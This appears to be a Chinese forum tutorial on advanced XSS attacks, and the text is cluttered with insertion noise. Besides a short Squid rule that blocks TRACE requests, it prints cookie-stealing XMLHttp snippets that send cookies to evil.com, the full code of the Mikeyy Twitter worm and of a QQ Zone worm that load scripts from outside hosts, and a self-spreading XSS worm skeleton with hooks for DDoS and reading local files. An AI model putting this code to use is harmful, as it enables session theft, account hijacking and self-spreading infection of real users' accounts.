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1 v" V# z+ F* f4 T6 v7 ^Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求& R. e' N) x# L9 c# U* F
$ U2 A y/ M% x% V) \( @; Y2 Facl TRACE method TRACE
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...+ G/ K3 H* H; ^ P
9 G! Y' b4 |( jhttp_access deny TRACE- A+ o0 O% C$ f
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>0 K; V& A4 ~3 y
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET","http://www.google.com",false);; e1 x( @) Q, W2 Z% M9 g
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");; q$ U% U4 L& |* E& u/ R( O
9 I- ]6 X; \9 H& i" R- _XmlHttp.send(null);- v* M8 B. y5 r O# I8 Z; _
) E8 e. {, o: P! v8 J$ d& \</script>
6 D! z7 ~7 f0 g& i) ]2 i& k4 [5 [, O复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>6 P. J+ n$ _9 ]9 l+ c( Z+ ]
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");) M0 y& `# W, {6 B
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XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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# c o/ t5 F6 x. C [; iXmlHttp.send(null);+ p' v* H. r, o' a1 @
7 U: @' z- E# {3 m0 b% T
<script>
! t) o, D) k" F( o- N复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.; h. J) j; O& v k& [
复制代码案例:Twitter 蠕蟲五度發威
5 q1 u/ W* _6 R0 ]) F1 S Y3 G) k* K第一版:$ \; j" u. m) y0 v/ t7 P& d" n9 g
下载 (5.1 KB); F7 _8 ?' m+ S% t4 l
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6 天前 08:27+ A+ J8 w, L: g! U
0 @, H% z* Q: ` h% H4 P1 M# p" P第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; ' X- h# I! c& m( i2 Q- E3 F
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. n# S, R# @6 B3 G- l& \+ e+ D 3. function XHConn(){
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4. var _0x6687x2,_0x6687x3=false; / f7 U& B `% X1 o) P# w. u
* m# v+ v; s8 }, \% v, \ 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } 5 L2 s- |" w# x% ~7 }$ L6 G4 \
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7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
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8. catch(e) { _0x6687x2=false; }; }; }; 3 l; J# u B# k0 z; ^" W. X
复制代码第六版: 1. function wait() {
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+ g" e2 T% A8 @8 T. B9 c, x$ s) n2 S 2. var content = document.documentElement.innerHTML; 8 c5 V; |1 s9 S! g+ P0 R+ M% F
: @4 e2 t* a$ M 3. var tmp_cookie=document.cookie; + U7 @' G$ K- g
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4. var tmp_posted=tmp_cookie.match(/posted/); 9 I! o: B$ I# z/ m- }
- x0 j! R. h. A, @8 @4 h, y( z 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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6. var authtoken=authreg.exec(content);
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7. var authtoken=authtoken[1]; ?4 \/ |6 L4 ^! U- `
# A0 K9 O# e% d* G) [ 8. var randomUpdate= new Array(); 9 w: n2 Z5 _3 [; w" w
2 J: N$ a4 s: `/ C9 P 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
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* u, g% F) \$ F2 e* X 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
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% Z$ U. @1 @. V* y% Z 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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; A2 g* L7 ]( q8 ~ 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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4 ]7 v: j* ~, V4 }4 W& t 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; 1 @( V9 O4 M6 \& p6 U1 |/ L
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18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; 3 [, C" s7 v: g4 ~4 X4 e
; R! \9 x" v; P( Z7 H 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
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20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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. k0 W5 O; o0 Q2 I7 |: i' F 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; ; _( g& k7 o1 N8 [( E- s8 v; P" |9 z
% x$ [: U& [3 v9 D+ ]' U, Q 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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$ s$ N0 ?& Q5 Y+ e `: p/ U 23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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24.
% {% ~! w6 H7 D3 e: F2 `( l: Q4 V: S
5 ]- h5 I/ V ]- Y$ |5 N n% V 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; ~2 A! w9 Z0 X |3 O$ a# c$ |, Q
2 p& _* A9 H4 |( @ 26. var updateEncode=urlencode(randomUpdate[genRand]); " J- g- ~' P9 M' d7 _, X
! f! I" e$ v0 a3 B$ b3 { 27.
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+ M" I9 y/ `& ~7 b7 o6 p 28. var ajaxConn= new XHConn();
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- Y& ?6 t! F+ p 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); ) r: A# \& S( _
- I, C) x5 S, S 30. var _0xf81bx1c="Mikeyy";
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31. var updateEncode=urlencode(_0xf81bx1c);
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% ^# r1 V' q4 j1 V- ?4 E 32. var ajaxConn1= new XHConn();
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8 U& C4 M0 G, c6 W( r 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
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, ^4 `, _: ~! Z- F9 S* q 35. var XSS=urlencode(genXSS); 9 k% w. j5 Q8 ^6 [. O3 s, b+ D$ T0 d
' S2 q' N5 s6 f6 e. b% a 36. var ajaxConn2= new XHConn(); 2 _' r# Y& b. q x9 x
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37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); ) N+ n8 E0 E4 B. ^5 |( [
5 \- v$ L5 d0 _8 @/ F0 N 38.
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# E2 M9 D: R6 y0 X8 g9 p P$ e$ c 39. } ;
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- r: I, R; d+ i! j+ \ 40. setTimeout(wait(),5250); ' |& r6 @( E0 w# X5 W. W% w
复制代码QQ空间XSSfunction killErrors() {return true;}4 O6 a- Y% J; z+ |% Q: |6 ^
1 C; t5 E ]% k4 \window.onerror=killErrors;
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, M/ { P: y. I9 qvar shendu;shendu=4;9 `* o# e! a7 q
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//---------------global---v------------------------------------------
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//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
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0 U6 T. J1 A8 y+ R' Tvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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var myblogurl=new Array();var myblogid=new Array();- C7 d6 a2 @$ H& c, f$ |
$ q3 ?' r5 {+ N/ }! A6 _ var gurl=document.location.href;& {( J0 |- W3 ?5 s; n; Z
: K+ A9 K( N3 M2 l7 t6 q9 l var gurle=gurl.indexOf("com/");& J4 H% t! m5 }8 O4 b" q
. R: I! g( p5 v4 b( ?8 M1 c* v gurl=gurl.substring(0,gurle+3); 2 C; R: e5 n' {: i. k6 A
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var visitorID=top.document.documentElement.outerHTML;
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+ ^- q' d- X. } var cookieS=visitorID.indexOf("g_iLoginUin = ");
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visitorID=visitorID.substring(cookieS+14);# \! r( }9 X S0 E$ M
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cookieS=visitorID.indexOf(",");
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visitorID=visitorID.substring(0,cookieS);
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4 m: {8 c) k' E7 o4 p get_my_blog(visitorID);
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DOshuamy();
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//挂马
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5 Y4 _+ \( F, qfunction DOshuamy(){* e8 B8 A0 E: Y9 D
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var ssr=document.getElementById("veryTitle");) v& }, Q* S; ]( _" N; S
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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; a) M; U$ B* ]; `3 n+ A# o! m, L1 T//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?5 l, {0 B, o5 @7 b& A9 M3 y
! d- n5 n5 A% o/ p" v, Ufunction get_my_blog(visitorID){
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userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1"; [4 x' C) U/ _5 Y$ k/ c8 O
9 J: a& C& h" N4 S2 j) S xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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9 Q" F* O" W5 I if(xhr){ //成功就执行下面的
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8 m6 {3 A. r( [0 Z7 D) m xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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( p$ z. H7 s0 v5 ?4 J2 b; k% T xhr.send();guest=xhr.responseText;
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get_my_blogurl(guest); //执行这个函数
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}
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1 W: j' C4 W/ J9 g//这里似乎是判断没有登录的! g1 e* b j! o m
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function get_my_blogurl(guest){
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4 |6 l% O2 ^5 p, {) D var mybloglist=guest;& _* c1 s! v& I1 x
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var myurls;var blogids;var blogide;
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) r; L' a' G6 c* q for(i=0;i<shendu;i++){4 d9 C6 h: D3 [, U8 a
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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if(myurls!=-1){ //找到了就执行下面的
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mybloglist=mybloglist.substring(myurls+11);+ L' D2 s' q, {% Y
0 |5 @. q1 Y0 }' ]% x myurls=mybloglist.indexOf(')');
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0 l2 R" g) P( k. o- F! t @ myblogid=mybloglist.substring(0,myurls);
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}else{break;}( c/ [( ~: j6 j; `. H
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get_my_testself(); //执行这个函数
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//这里往哪跳就不知道了
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function get_my_testself(){
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$ w# H% x/ W; `, \ for(i=0;i<myblogid.length;i++){ //获得blogid的值0 Z: ]2 ]7 T5 k* j, q
) G8 j/ B& |6 M- a. h var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();( Q+ m; D/ ^( J. s& M" y: J- f
; C9 Q5 @" R' @, q' q var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
% H2 X! Y; t( T/ l
$ x+ _+ a, `1 Z. q if(xhr2){ //如果成功
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. [9 M N$ R7 _) K xhr2.open("GET",url,false); //打开上面的那个url4 C& \1 C& x' ^ T: ?$ p1 v4 N
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xhr2.send();
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* s: Z! O F. }$ b4 K$ H- V" f guest2=xhr2.responseText;1 A! K" N0 r3 I
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var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
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2 J4 }; f4 Q( G var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
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if(mycheckmydoit!="-1"){ //返回-1则代表没找到
, v3 n; I( n' s3 s7 {8 I/ V
6 a% `+ W- ^4 ~3 q( K targetblogurlid=myblogid; / W7 Y- ?* h" v
+ x* E8 i& F8 }8 L7 y add_jsdel(visitorID,targetblogurlid,gurl); //执行它
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5 v$ O# {( Z; d/ v2 B break;
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}
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if(mycheckit=="-1"){& R E; e, }6 R- i
9 C8 j [" M& ^5 J0 } targetblogurlid=myblogid;
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" p' @' G( a/ t" K add_js(visitorID,targetblogurlid,gurl); //执行它# O1 T9 s: f$ H6 Y
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break;3 e3 ^ ~- W4 E+ J! I: J
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} ( p- ?% t; S+ r; [5 K3 _2 Z
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+ \) ~8 K# E& ]: w+ }8 R
' _9 @ h- z/ ~9 ?! ]$ i//--------------------------------------
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//根据浏览器创建一个XMLHttpRequest对象5 J) Y1 ~1 A1 S
: b& z, n* d% D! G' }* G+ g- ]function createXMLHttpRequest(){
+ q. I, D; |& x8 i% l" Y9 |
% {0 L' @$ G5 O. {9 N! j! ] var XMLhttpObject=null; % Y% ~! ]. O5 B2 |2 i- @# s- i
6 P8 e, B$ h. A; }1 ^
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} N* h' a" c% u+ ]+ d
: [' |9 z7 N7 j5 h' E: C% V4 F W else ' {! I' P3 G' T7 t+ k. R, S9 b
( m1 V& r' ~4 `& A% i" Z. g$ ~$ R8 C { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
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for(var i=0;i<MSXML.length;i++) 0 b2 C" Q) }8 R! J0 u
" A$ @6 N% u/ u
{
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try
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8 S0 x' y7 Z% ~# P! H/ Z7 }. _5 ^ {
% `: e& P. r) ]) r
( E) s2 Q' V ^5 o/ e XMLhttpObject=new ActiveXObject(MSXML); {. B& K( \5 t% a
1 k9 o! [2 y& V5 i6 i$ ?* Z2 l/ k break; \2 ~( |% _6 A! o
5 L4 d5 J& f) v8 O3 M# O# _* R9 u
} 9 M7 G# J6 z1 l: |0 ?
4 D @3 M* c; L6 r, {7 M, P& Q
catch (ex) {
. s2 Y1 ]% T& d+ {! ~! ^" } H+ B' m, r
3 n7 x# P) M7 c# A% Y' ~, P/ p } 9 M |6 _! K1 m5 t: R1 }
F% S9 @7 {2 K& `7 j6 h8 ^
} . P1 u" w2 `& R* }$ b- H9 R
2 {) n: \- T1 ?- ` }
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return XMLhttpObject; f- d& z$ {5 {6 e
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}
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" ~, U4 E7 H# @+ q//这里就是感染部分了
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3 g$ |' C9 u* {' i) Y! `* yfunction add_js(visitorID,targetblogurlid,gurl){
" i$ W; k" U# C `) A$ e$ ? H& g+ j; `" h7 G- @3 ^' y9 F
var s2=document.createElement('script');% G3 f' l( Q" m3 k* I# ^( d" S
: R0 F# b2 v( F' q( d5 b) A) x9 ~; ts2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();* P- a6 k/ V/ B9 V) Y. m: a
) T1 ]4 a/ m2 n) B* |3 `/ y
s2.type='text/javascript';
l7 |2 V3 D( }; W0 F4 w* D7 q2 _: F9 P8 t! a2 Y2 r
document.getElementsByTagName('head').item(0).appendChild(s2);
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2 C9 B! C) D0 b2 M; q. P, K G8 b S7 B% Y8 N$ b& b
, R1 e$ `+ E- H& o+ y' ?7 k
( c3 }" ~2 D" r8 m) m1 x' v- R5 Ofunction add_jsdel(visitorID,targetblogurlid,gurl){5 x' P: t. C, }/ U$ ]
2 `( D, j0 ?- F ^; ?0 ?& e: a
var s2=document.createElement('script');2 X+ v% y9 Q j) J0 d: q) ?, G! X
4 w j& Y4 T. ?# f# ts2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
* G+ e1 K0 t4 t8 C& ]/ Y3 t6 J: k0 x$ Q
s2.type='text/javascript';
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document.getElementsByTagName('head').item(0).appendChild(s2);
, {( d, E# o$ S/ m; @- |! L! z( C& ~* p8 f$ C( H9 ]: O M
}
7 ^" A$ j# O) l# X% Z/ }1 t, {" r- B复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:# Y: ^( K8 W3 h9 g# U
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
* K3 t3 b& @/ T
; k, ~; F2 i1 f! r) \9 W) I2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.): a+ o2 z% f3 H, R
7 r6 ]' U6 N1 e
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~9 l- H# [+ h' }/ A/ P& W
) ^( l8 G4 o9 O& W
2 R! M: ]- c3 G4 F8 m' O
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
: S* y ?( D5 F. P6 D5 F# n
* t" W5 U+ l& H# K首先,自然是判断不同浏览器,创建不同的对象var request = false;) f2 U* w; Y# t# P# L& k9 J/ n
3 `- U1 @- U6 n% y% g) X
if(window.XMLHttpRequest) {: A) x4 }6 R; _
7 l+ G8 }+ k5 ]request = new XMLHttpRequest();( H7 }- ]4 d1 m8 c- W& X
, Z9 A, ?# v+ h4 G( g Zif(request.overrideMimeType) {$ e2 `" s$ X0 [ a: ]: K
, B+ b+ L- ?$ c' e5 {- `request.overrideMimeType('text/xml');
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} else if(window.ActiveXObject) {. K, v. T# T+ `) X, m* D& F# S
" C! Q+ T( J& N Q. Q, {var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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' v6 O4 r6 |! l) s f6 bfor(var i=0; i<versions.length; i++) {/ w; L7 M. H8 |5 X O0 T6 c
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try {
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request = new ActiveXObject(versions);
5 E, k9 Z7 e; W$ [, w# z: m* X
/ r, i, L& u' n u} catch(e) {}4 ^1 t* z5 @; f
; t5 w6 \+ g6 x6 A- z" F}
* i$ S0 c. C1 m9 t+ P L7 }& V3 e/ B) u9 \9 t$ H
}
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9 `2 L' I& N9 G; }( \+ F9 ZxmlHttpReq=request;
. A# a( n3 ?1 m7 H9 X复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){7 w& c) U- E. u) K, D
) l e. I8 t' h1 P: Q
var Browser_Name=navigator.appName;
3 M S! i% N) t0 T! Z1 {1 V+ b) q1 o& `$ q( N& ~* L9 Y
var Browser_Version=parseFloat(navigator.appVersion);" \4 c. z. F+ z9 o0 M" c) S
: j8 m) W8 O8 A5 w* p+ J1 G* F: a var Browser_Agent=navigator.userAgent;
( f- u" _3 O# u
5 M& @9 s4 b3 M+ s$ I * H3 {* @' y+ _6 s# A# t: Z
5 r& R3 g/ |, J+ \: b; a( K \' V* i
var Actual_Version,Actual_Name;$ q" T# u3 ?9 h1 F, ?
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- J+ p% _( J w# [4 @& n% `* f; ~% ^- l! j3 x: u
var is_IE=(Browser_Name=="Microsoft Internet Explorer");; B- i! k7 b$ I2 H$ N
/ ]3 h( T3 @' S0 w- j1 }: k var is_NN=(Browser_Name=="Netscape");; |, i6 j, Q2 |9 \' I1 s
; M" ]5 n2 E, D1 y& w1 I* @- ~, _1 h var is_Ch=(Browser_Name=="Chrome");) |: Y4 P, T7 A
7 Z5 N- t/ O, H8 O# F
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5 w/ n3 g3 S; L* B if(is_NN){3 s) v+ o+ u1 m: @4 `1 f% ^
6 M+ z' f% m4 G( h4 t if(Browser_Version>=5.0){ ^4 S" J3 @+ b
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var Split_Sign=Browser_Agent.lastIndexOf("/");' e5 f; R, u* r. m7 N* _" W O8 u$ U
( I M4 `5 d6 |. Y2 {
var Version=Browser_Agent.indexOf(" ",Split_Sign);0 Y2 R% G" Y t7 o% F' ~+ \$ r
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var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);, b5 K! A/ E8 x1 k
+ i/ r/ E. `/ w D x. ]1 n
% c; q! [* V6 P; r5 U! w/ p
8 S+ b$ E3 g* g7 ]; P Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);4 y1 e+ \9 O5 A* ^; d
6 h3 K% n) N; F! ~. L) n Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);/ ]+ N Y- q- l4 |$ |8 F' @% s0 X1 I
7 t8 c) n9 m2 U
}
3 j5 ]! w$ K$ s7 d5 M( G% u6 @
( ]2 Z; M) ~. Y- ], D/ s0 f+ y" c else{8 I9 {& l7 m# T# O9 V8 A& E
% q0 |, p6 ]9 E6 w% A# C: Z1 J- x Actual_Version=Browser_Version;
1 g) f$ w- D: n" f3 Z7 ~: k% n
; t4 }" z7 K' c) b# D2 m Actual_Name=Browser_Name;
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else if(is_IE){" I& ^0 L; e2 S0 H0 y) c7 `
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var Version_Start=Browser_Agent.indexOf("MSIE");
8 m( z7 U' \. q V+ I
: C7 F1 ~$ O, F var Version_End=Browser_Agent.indexOf(";",Version_Start);
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Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End). E5 L" s' Y/ t' W* Y
m$ k+ j) h" o. U7 @" W; Q3 z Actual_Name=Browser_Name;
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" j1 j: E( E2 \! x! G
$ u* p7 [" k3 m$ d if(Browser_Agent.indexOf("Maxthon")!=-1){" K) U; D! {& B
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Actual_Name+="(Maxthon)";3 L) L) N( o0 w9 d( A- N" a
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else if(Browser_Agent.indexOf("Opera")!=-1){7 r4 @. b3 k' L8 y1 O0 z. V
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Actual_Name="Opera";- h* {! j9 ]$ f" C9 G
- E, t* [2 e1 a% `" n9 ^ var tempstart=Browser_Agent.indexOf("Opera");
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var tempend=Browser_Agent.length;( L' p* m5 |6 |0 ~$ D' w
6 Z1 m1 R- |: J8 g7 Q. C" l
Actual_Version=Browser_Agent.substring(tempstart+6,tempend), j2 s; K4 }8 V9 ?) i
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. K8 W& j2 w" j0 Y }
( |: T" ^8 T8 f" r, O. J4 h3 i; B1 u, [% v, a
else if(is_Ch){& N: N1 D3 Y2 i
0 j, s% e) z$ s# O* V4 f var Version_Start=Browser_Agent.indexOf("Chrome");
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a) K9 A1 R. K9 |" B: Y4 ^ var Version_End=Browser_Agent.indexOf(";",Version_Start);
7 s+ Y2 T2 K- x! K2 X
3 v- \! K$ \& w/ e$ i Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)! O$ W# Z* C+ z1 S; w
* V% C; f$ \: q B: \' z4 ^3 ^& m Actual_Name=Browser_Name;
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# c7 h+ R. J5 ]: r+ ? w. i2 B if(Browser_Agent.indexOf("Maxthon")!=-1){
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/ K1 F; t5 R) I/ B/ W# b Actual_Name+="(Maxthon)";
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}. l7 Q7 @5 n o" G
/ f$ J# k, w7 j else if(Browser_Agent.indexOf("Opera")!=-1){3 D! x7 t3 D/ z4 ?* O8 q; Y; P
6 O+ B0 A0 ~2 H0 O Actual_Name="Opera"; @4 ?$ z$ k4 w0 T, ] N
, _' N- J+ [* a" o$ Q& }4 W6 Z var tempstart=Browser_Agent.indexOf("Opera"); o* {3 U3 `" b" y! n4 S; q
7 ^9 N( _; Y7 i d
var tempend=Browser_Agent.length;- P; x- B9 k9 [: T8 w
& P4 ?6 R' t9 n4 z `3 t: X; t7 r Actual_Version=Browser_Agent.substring(tempstart+6,tempend)" M0 H* x w+ U( k% _" P# T
* J5 u" [: I. ?: ~1 U6 u }
8 J1 g) d! z( `+ q1 m8 r, l' H8 `. ^7 M) |- ^- o, i+ \ M+ e- [
}7 x E& [9 R) w8 X& k+ B
( W7 O- U. G- r) z2 p else{. M, H2 K9 n% `- g$ D
* h u- V p# O6 M( O- A2 F- f' P Actual_Name="Unknown Navigator"9 _% Q8 K( L3 h9 h' c
R6 k" D! u- H: B. j Actual_Version="Unknown Version"' D% u! d( a7 m; b' h6 K* k# W
2 x- R8 E7 T% U+ k! M/ q
}
6 D1 D ^* G$ f1 T2 h
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navigator.Actual_Name=Actual_Name;
8 K: d5 p# v8 y7 ^
3 |& I/ \6 e5 J" G) n: K7 C3 P navigator.Actual_Version=Actual_Version;. f& q* r" I; `" K. ^ W
! C: S& t; r% E
8 h' z; X8 N P2 Z4 k6 T: a( A7 v7 \9 `; V4 n" q
this.Name=Actual_Name;9 k" V) B* U. ?+ o( q. [
' q1 m( J' H$ ^1 V: ~6 @" T8 Y this.Version=Actual_Version;0 |7 ]+ w) h7 I2 y$ f# m
k8 E& m" g3 X* p. v8 O
}& m' [ X( i. S+ l" v3 H( F
& ]5 j, {$ U# X5 I) O5 y" i4 a, o y
browserinfo();
' l7 }2 D# B% M e" m- ?9 S* v, ?: j) Q7 q" j
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
0 h( \% Y5 |: V
: z' R9 W; ~4 b if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}' i1 J( O! ?& u- v
2 Q2 N, y8 V5 n) Q/ p% v8 [
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}' L0 T T& h6 t+ P# i
4 Y M6 c6 d. t if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
2 c1 [. ?( |7 A9 t- J8 W: x复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
' ^1 H8 B8 j* l% b! y B复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
9 D1 ^5 m1 g/ G; \复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
& V' g' T( ^4 e3 ^5 Y$ ]& M/ l. H' j D9 q, A9 W
xmlHttpReq.send(null);
/ [9 P1 @+ P+ h) c
# c' A# ]$ W: q g2 _+ B% rvar resource = xmlHttpReq.responseText;( b* k$ e6 c3 J4 c
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var id=0;var result;' f8 T0 S. ?/ [/ Q
, W$ H8 [3 }; o& e3 v4 E# q
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量./ e& Z: X" g, `2 P
/ R0 ~( g+ z- ~1 t: I9 hwhile ((result = patt.exec(resource)) != null) {+ V7 @ D0 [3 d) I
4 N/ G& S F7 E" ?# g L
id++;; ?6 g/ I( C: J7 A
3 h0 W8 X9 s4 @% x5 g+ ?$ Z
}
$ Y4 s4 S7 a, U+ C3 Z) G( L复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.7 w- R% b7 l1 O; ]" i
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no=resource.search(/my name is/);$ }2 c) M$ t& k3 p4 c5 r3 v
3 c p4 w, o& X" o/ B0 {var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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/ P" f+ _9 I. n1 J0 r' Gvar post="wd="+wd;
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xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
